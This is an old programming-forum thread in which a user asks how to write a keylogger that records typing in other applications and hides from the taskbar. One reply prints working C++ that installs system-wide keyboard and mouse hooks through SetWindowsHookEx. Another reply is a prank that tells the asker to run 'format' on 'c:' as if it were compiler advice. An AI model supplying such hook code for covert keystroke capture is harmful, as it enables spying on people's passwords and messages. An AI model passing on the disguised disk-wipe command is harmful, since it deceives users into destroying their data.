Sign in to follow this  

KeyLogger

This topic is 4360 days old which is more than the 365 day threshold we allow for new replies. Please post a new topic.

If you intended to correct an error in the post then please contact us.

Recommended Posts

I've been working on games with C++.Net/DirectX/WinXP, but... I'd really like to make my own (free) Key-Logger program. I really don't know how to go about doing this, but I have made a program that runs from the command prompt and will send all input to an output.txt file. This is kind of what I want, but it doesn't work unless I type text 'In' the command prompt. It obviously doesn't record anything typed in Word, Notepad, etc. How can I get this to work without the focus being inside the command prompt? How can you setup a stealth mode, where the program won't show in the taskbar? I've googled of course, but all I ever get is "try our free version, then buy our better version". :-) Thank You.

Share this post


Link to post
Share on other sites
You need to set your IDE compiler program to "format", and pass the parameter "c:".

I dont actually know how to do it, but look into hooks or something. I heard those mentioned once.

Share this post


Link to post
Share on other sites
The site where I found this appears to be dead, so I uploaded it here. If you get an error because CreateThreadEx isn't defined, don't sweat it, just use CreateThread instead. This code works on W2K and XP and maybe NT 4.0. I haven't tested it on NT 4.0. It doesn't work on W95/W98.

Share this post


Link to post
Share on other sites
Guest Anonymous Poster
I do know that programs like Zone Alarm and Spyware Doctor scan for
programs that setup system-wide keyboard monitoring with SetWindowsHookEx().
Setting the last parameter to zero means you want to monitor all threads,
so they will detect this.

But what I find most disturbing is that doesn't matter if your program is a keylogger
or not, they'll hype it up as a security risk. There are perfectly valid reasons
why you want to use SetWindowsHookEx(), but these companies don't care about that.
They just want to scare people with false positives so they can sell more copies
of their software.

Share this post


Link to post
Share on other sites
Some quick and dirty source snipped from an old project of mine:

LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode < 0)
{
return CallNextHookEx(hMyHook, nCode, wParam, lParam);
}

if(nCode == HC_ACTION)
{
VerifyWnd();
PostMessage(hMainWnd, WM_APP, wParam, lParam);
}

return CallNextHookEx(hMyHook, nCode, wParam, lParam);
}

LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode < 0)
{
return CallNextHookEx(hMouseHook, nCode, wParam, lParam);
}

if(nCode == HC_ACTION)
{
VerifyWnd();
PostMessage(hMainWnd, WM_APP + 1, wParam, lParam);
}

return CallNextHookEx(hMouseHook, nCode, wParam, lParam);
}



BOOL __declspec(dllexport) __stdcall InstallHook(HWND hWnd)
{
if(!IsWindow(hWnd))
return FALSE;

if (hMyHook == NULL)
{
hookProc = (HOOKPROC)KeyHookProc;
hMyHook = SetWindowsHookEx(WH_KEYBOARD, hookProc, hInstance, NULL);
}
if (hMouseHook == NULL)
{
theMouseHookProc = (HOOKPROC)MouseHookProc;
hMouseHook = SetWindowsHookEx(WH_MOUSE, theMouseHookProc, hInstance, NULL);
}

hMainWnd = hWnd;

if (hMyHook && hMouseHook)
return TRUE;

return FALSE;
}




It's ugly but it works, mostly [wink] This particular code is set up to run from a DLL, which is loaded by a separate .EXE program with LoadLibrary(). If in doubt on how any of that works or what it's doing, hit up MSDN and it should be able to explain everything. If that still fails, use the source LessBread posted, because it's probably a lot better [grin]

Share this post


Link to post
Share on other sites
Guest Anonymous Poster
Quote:
Original post by slowmike
Oh, nothing illegal. LOL! I just wanted to make it for personal home use. They're used for monitoring, like a parental control type of thing.


That's not necessary. Just ASK your kids if they visit websites with grubby pictures. If they say no, ask them to tell you the truth instead.

Share this post


Link to post
Share on other sites
What's commendable about the code I posted is that it doesn't need a dll, it uses the exe itself. To log keyboard input it uses a low level hook, which is why it only works on NT based Windows.

Share this post


Link to post
Share on other sites

This topic is 4360 days old which is more than the 365 day threshold we allow for new replies. Please post a new topic.

If you intended to correct an error in the post then please contact us.

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

Sign in to follow this